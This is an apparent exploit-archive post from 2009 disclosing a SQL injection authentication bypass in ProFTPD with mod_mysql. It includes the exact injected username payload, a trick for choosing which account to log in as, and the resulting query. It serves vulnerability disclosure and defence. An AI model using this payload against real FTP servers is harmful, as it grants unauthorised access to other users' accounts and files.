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ProFTP With MySQL Authentication Bypass

ProFTP With MySQL Authentication Bypass
Posted Feb 10, 2009
Authored by gat3way

ProFTP using mod_mysql suffers from an authentication bypass vulnerability.

tags | exploit, sql injection, bypass
SHA-256 | a9e502607a0251bbb13c3ebcacf090dd4c8066d61ca3ed72be9f0b756fffd2c9

ProFTP With MySQL Authentication Bypass

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Hello,

Just found out a problem with proftpd's sql authentication. The problem is easily reproducible if you login with username like:

USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --

and a password of "1" (without quotes).

which leads to a successful login. Different account logins can be made successful using the limit clase (e.g appending "LIMIT 5,1" will make you login with as the 5th account in the users table).

As far as I can see in the mysql logs the query becomes:

SELECT userid, passwd, uid, gid, homedir, shell FROM users WHERE (userid='{UNKNOWN TAG}') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 1,1; -- ') LIMIT 1

I think the problem lies in the handling of the "%" character (probably that's some way to sanitize input to avoid format string things?).

Anyway, %' effectively makes the single quote unescaped and that eventually allows for an SQL injection during login.
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